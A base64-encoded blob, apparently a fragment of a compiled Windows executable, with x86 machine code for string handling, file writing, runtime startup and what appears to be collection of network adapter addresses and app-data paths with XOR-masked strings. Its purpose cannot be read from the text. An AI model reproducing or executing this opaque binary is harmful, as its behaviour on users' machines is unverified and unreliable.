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FlPQABkoQAAAABQUVah6JJAADPFUI1F9GSjAAAAAIvxiXXwxwbUYkAAg35UAMdF/AAAAAB0HotOEI1WSDkRdRSLVjyLRkCJEYtOIIkBi1YwK8CJAoB+UAB0B4vO6An9//+LzsdF/P//////FXxgQAD2RQgBdAlW6JwSAACDxASLxotN9GSJDQAAAABZXovlXcIEAMzMzMzMzMxVi+xq/2iYT0AAZKEAAAAAUIPsQKHokkAAM8WJRfBTVldQjUX0ZKMAAAAAi1FAi3UIM9uJXbT2wgJ1U4tBJDkYdEyLAItRPDvQcgKLwotJFIsJK8FQUb8PAAAAjU3UiX3oiV3kiF3U6OTw//+JXfyNVdSJfhSJXhBSi86IHujO+///g33oEHJ7i0XUUOtt9sIEdTaLUSA5GnQvi0EwiwADAotJEIsJK8FQUb8PAAAAjU3UiX3oiV3kiF3U6JDw///HRfwBAAAA66a/DwAAAIl9zIldyIhduI1NuFGJfhSJXhCLzsdF/AIAAACIHuhf+///g33MEHIMi1W4Uuh+EQAAg8QEi8aLTfRkiQ0AAAAAWV9eW4tN8DPN6GcOAACL5V3CBADMzMzMzMzMzMzMzMzMVYvsav9o6U9AAGShAAAAAFCB7GAEAACh6JJAADPFiUXsU1ZXUI1F9GSjAAAAAIll8ItNKImNlPv//zPbU2hKY0AAiV386Nbv//++DwAAAIm15Pv//4md4Pv//4id0Pv//4tNHItFCL8QAAAAxkX8AjvPcwONRQgDRRg7z4tNCHMDjU0Ii5WU+///UlBRjY20+///ibXI+///iZ3E+///iJ20+///6Nb1///GRfwDOF0kdA2Nhez7//9QU1NqI+sLjY3s+///UVNTahpT/xUAYkAAjYXs+///ibWs+///iZ2o+///iJ2Y+///jVABjUkAighAOst1+SvCUI2V7Pv//1KNjZj7///oFO///42FmPv//1CNjdD7///GRfwE6P75///GRfwDOb2s+///cg+LjZj7//9R6BQQAACDxARqAWhIY0AAjY3Q+///6MHw//+LhdD7//85veT7//9zBo2F0Pv//4s1UGFAAFD/1oPEBGoCaERjQACNjdD7///oj/D//2oCaEBjQACNjdD7///offD//2oCaDxjQACNjdD7///oa/D//2oDaDhjQACNjdD7///oWfD//2oBaEhjQACNjdD7///oR/D//4uF0Pv//zm95Pv//3MGjYXQ+///UP/Wg8QEav9TjZW0+///Uo2N0Pv//+go7///agFoSGNAAI2N0Pv//+gG8P//i4XQ+///Ob3k+///cwaNhdD7//9Q/9aDxARq/1ONhbT7//9QjY3Q+///6Ofu//9qBGgwY0AAjY3Q+///6MXv//85vcj7//9yD4uNtPv//1Ho7w4AAIPEBIuNlPv//2r/U42V0Pv//1LHRfwBAAAA6LLs//85veT7//9yD4uF0Pv//1DovA4AAIPEBMeF5Pv//w8AAACJneD7//+IndD7//85fRxyDItNCFHolQ4AAIPEBLAB6xu4NjhAAMONjdD7///oL+j//41NCOgn6P//MsCLTfRkiQ0AAAAAWV9eW4tN7DPN6GELAACL5V3DzMzMzMzMzMzMVo1xYIvO6HX6//+hxGBAAIkGiw3AYEAAVokO/xW8YEAAg8QEXsPMzMzMzMzMzMzMVYvsUVaLdQhWg8EYx0X8AAAAAOiI+///i8Zei+VdwgQAzMzMzMzMzMzMzMzMzMzMVYvsVleNeaCNd2CLzugO+v//ocRgQACJBosNwGBAAFaJDv8VvGBAAIPEBPZFCAF0CVfotw0AAIPEBIvHX15dwgQAzMzMzMzMzMzMzMzMzMxVi+xq/2iLUEAAZKEAAAAAUIHsxAAAAFNWV6HokkAAM8VQjUX0ZKMAAAAAM9uJXeyhxGBAAMeFRP///yhjQADHhVT///8YY0AAiUWkU42NXP///1G+AgAAAI2NRP///8dF/AEAAACJdez/FcxgQACLlUT///+LQgSNjVz///+JdfzHhAVE////FGNAAP8VqGBAAMeFXP///5RiQACJXZiJXZyLRQzHRfwEAAAAOVgQdnvrAovBg3gUEHIHiwiJTfDrA4lF8GoAjZU0////agJS/xX0YEAAg8QMaGAUQACNjVT///+L+P8V7GBAAIvwhfZ0B4sGi0AEA8aLTwyLVwhRUlCLB//Qiw6LQQSLVfDGRDBAMA+2BBqDxAxQi87/FfBgQACLTQxDOVkQd4eLdQhWjY1E////6EX+//+LhUT///+LSASNVaTHRewDAAAAiVUMx4QNRP///xRjQAC7BQAAAI2VXP///4ld/IlV8MeFXP///5RiQAD2RZwBxkX8BnQRi4Vs////iwBQ6A8MAACDxARqAGoAagCNjVz/////FdRgQACLjXD////HAQAAAACLVYDHAgAAAACLRZDHAAAAAACDZZz+jY1c////x0WYAAAAAIhd/P8VfGBAAI2NXP///8ZF/AD/FbRgQACNTaT/FchgQACLxotN9GSJDQAAAABZX15bi+Vdw8zMzMzMzMxVi+xq/2gdUUAAZKEAAAAAUIHslAEAAKHokkAAM8WJRexTVldQjUX0ZKMAAAAAiWXwi0UIi30MiYUQ////jVABighAhMl1+SvCdQiDyP/pbQYAAI2FbP///1Do8dj//4PEBLkPAAAAM/aJjUj///+JtUT////GhTT///8Ai4UQ////ilABihiJdfyIlRf///+JjWT///+JtWD////GhVD///8AxkX8AesHjaQkAAAAAGoBaExjQACNjVD////ojuv//4O9ZP///xCLhVD///9zBo2FUP///4qMNWz///+IDDBGg/48csmLx41QAY1kJACKCECEyXX5K8JQV42NUP///+hK6///M8k5jWD///92QA+2tRf////rB42kJAAAAACDvWT///8Qi4VQ////cwaNhVD///8wHAgPtsMPr8CNREAKmff+QYraO41g////ctCNlVD///9SjYUY////UOiN/P//g8QIi/CNjVD///87znR3g71k////EHIPi5VQ////UugHCgAAg8QEM/+7DwAAAImdZP///4m9YP///8aFUP///wCDfhQQcxiLRhBAUI2FUP///1ZQ/xXgYUAAg8QM6wqLDomNUP///4k+i1YQiZVg////i0YUiYVk////iV4UiX4QxgYA6we7DwAAADP/g70s////EHIPi40Y////UeiJCQAAg8QEjZU0////UleD7ByLzIlZFIudEP///4vDiXkQxkX8A4mlDP///8YBAI1wAYoQQITSdfkrxlBT6B3o///o+Pf//4uFNP///74QAAAAg8QkObVI////cwaNhTT///9qAWpAaiJQjY1g/v//6Er0///GRfwEOb24/v//D4SoAAAAi4VQ////ObVk////cwaNhVD///+LjWD///9XUVCNjWD+////FfhgQACNtWT+//85vbj+//90IYvO6Kzs//+EwHUCM/aLlbj+//9S/xVMYUAAg8QEhcB0AjP2jY1k/v//xoW0/v//AMaFrf7//wD/FVRgQAChCJNAAIm9uP7//4mFsP7//4m9qP7//zv3dRmLjWD+//+LSQRXagKNjA1g/v///xUUYUAAi4Vg/v//i0gEjZXA/v//iZUM////x4QNYP7//yRjQACNlWT+//+JlQj////HhWT+///UYkAAxkX8Bjm9uP7//3Qti4V0/v//iwCNjaz+//87wXUbi4Wk/v//i5Wg/v//UFBSjY1k/v///xXUYEAAgL20/v//AHRVOb24/v//dBuNjWT+///ot+v//4uFuP7//1D/FUxhQACDxASNjWT+///GhbT+//8AxoWt/v//AP8VVGBAAIsNCJNAAIm9uP7//4mNsP7//4m9qP7//42NZP7//8ZF/AX/FXxgQACLlWD+//+LDehgQACLQgSJjAVg/v//jY3A/v//xkX8A/8VyGBAAMdF/AEAAACLhRD///+NlTT///9SM/9qAYPsHIvMswjHQRQPAAAAiXkQiF38iaUI////xgEAjXABjaQkAAAAAIoQQITSdfkrxlCLhRD///9Q6Nrl///otfX//4uFNP///4PEJIO9SP///xBzBo2FNP///2oBakBqIlCNjWD+///oC/L//8ZF/Ak5vbj+//8PhKkAAACDvWT///8Qi4VQ////cwaNhVD///+LjWD///9XUVCNjWD+////FfhgQACNtWT+//85vbj+//90IYvO6Gzq//+EwHUCM/aLlbj+//9S/xVMYUAAg8QEhcB0AjP2jY1k/v//xoW0/v//AMaFrf7//wD/FVRgQAChCJNAAIm9uP7//4mFsP7//4m9qP7//zv3dRmLjWD+//+LSQRXagKNjA1g/v///xUUYUAAi4Vg/v//i0gEjZXA/v//iZUI////x4QNYP7//yRjQACNlWT+//+JlQz////HhWT+///UYkAAxkX8Czm9uP7//3Qti4V0/v//iwCNjaz+//87wXUbi4Wk/v//i5Wg/v//UFBSjY1k/v///xXUYEAAgL20/v//AHRVOb24/v//dBuNjWT+///od+n//4uFuP7//1D/FUxhQACDxASNjWT+///GhbT+//8AxoWt/v//AP8VVGBAAIsNCJNAAIm9uP7//4mNsP7//4m9qP7//42NZP7//8ZF/Ar/FXxgQACLlWD+//+LDehgQACLQgSJjAVg/v//jY3A/v//iF38/xXIYEAAvhAAAAA5tWT///9yD4uVUP///1LoBQUAAIPEBMeFZP///w8AAADHhWD///8AAAAAxoVQ////ADm1SP///3IPi4U0////UOjTBAAAg8QEM8CLTfRkiQ0AAAAAWV9eW4tN7DPN6LwBAACL5V3Dx0X8AQAAALhoP0AAw7igQUAAw8xVi+xRVos1WGFAAFdoiAIAAMdF/IgCAAD/1ov4g8QEhf91CV+DyP9ei+Vdw41F/FBX6DQLAACD+G91Flf/FVRhQACLTfxR/9aL+IPECIX/dNKNVfxSVzP26A0LAACFwHU7i8eF/3RDi00IjZsAAAAAg/48fSeDuKABAAAGdRiLkJQBAACJFA5mi5CYAQAAZolUDgSDxgaLAIXAddSF/3QKV/8VVGFAAIPEBF8zwF6L5V3DzMzMzMzMzMzMzMzMzMxVi+xWi3UIajxqAFbo2QMAAFboKf///4PEEF5dw4tJBP8VTGBAAIXAdAiLEGoBi8j/EsOL/1WL7GoI6M8DAABZhcB0EIsNEJNAAIkIi00IiUgE6wIzwKMQk0AAXcNqBLhOUUAA6KsEAABqAI1N8P8VeGBAAINl/ADrF4vwiwCLzqMQk0AA6JP///9W6E4DAABZoRCTQACFwHXgg038/41N8P8VbGBAAOibBAAAw8z/JYBgQAD/JYRgQAD/JYhgQAD/JYxgQAD/JZBgQAD/JZRgQAD/JZhgQAD/JZxgQAD/JaBgQAA7DeiSQAB1AvPD6SAFAABodkpAAOj/BAAAoWCWQADHBCQsk0AA/zVclkAAoyyTQABoHJNAAGggk0AAaBiTQAD/FWBhQACDxBSjKJNAAIXAeQhqCOguBgAAWcNqEGiobkAA6OYHAAAz2zkdfJZAAHULU1NqAVP/FTBgQACJXfxkoRgAAACLcASJXeS/cJZAAFNWV/8VNGBAADvDdBk7xnUIM/ZGiXXk6xBo6AMAAP8VOGBAAOvaM/ZGoWyWQAA7xnUKah/ovgUAAFnrO6FslkAAhcB1LIk1bJZAAGgkYkAAaBhiQADoVQcAAFlZhcB0F8dF/P7///+4/wAAAOndAAAAiTU0k0AAoWyWQAA7xnUbaBRiQABoCGJAAOgaBwAAWVnHBWyWQAACAAAAOV3kdQhTV/8VPGBAADkdgJZAAHQZaICWQADoMwYAAFmFwHQKU2oCU/8VgJZAAKEck0AAiw10YUAAiQH/NRyTQAD/NSCTQAD/NRiTQADowMr//4PEDKMwk0AAOR0kk0AAdTdQ/xVwYUAAi0XsiwiLCYlN4FBR6DQFAABZWcOLZeiLReCjMJNAADPbOR0kk0AAdQdQ/xVoYUAAOR00k0AAdQb/FWRhQADHRfz+////oTCTQADorwYAAMO4TVoAAGY5BQAAQAB0BDPA6zWhPABAAIG4AABAAFBFAAB167kLAQAAZjmIGABAAHXdg7h0AEAADnbUM8k5iOgAQAAPlcGLwWoBoySTQAD/FZBhQABZav//FSxgQACLDWiWQACjdJZAAKN4lkAAoYxhQACJCKGIYUAAiw1klkAAiQjoIwQAAOiEBgAAgz0Ek0AAAHUMaLZMQAD/FYRhQABZ6EIGAACDPQCTQAD/dQlq//8VgGFAAFkzwMPoUwYAAOmz/f//i/9Vi+z2RQgCV4v5dCVWaIRNQACNd/z/NmoMV+jGAAAA9kUIAXQHVugmAAAAWYvGXusU6OEGAAD2RQgBdAdX6A8AAABZi8dfXcIEAMz/JexhQAD/JfhhQAD/JeRhQAD/JdxhQAD/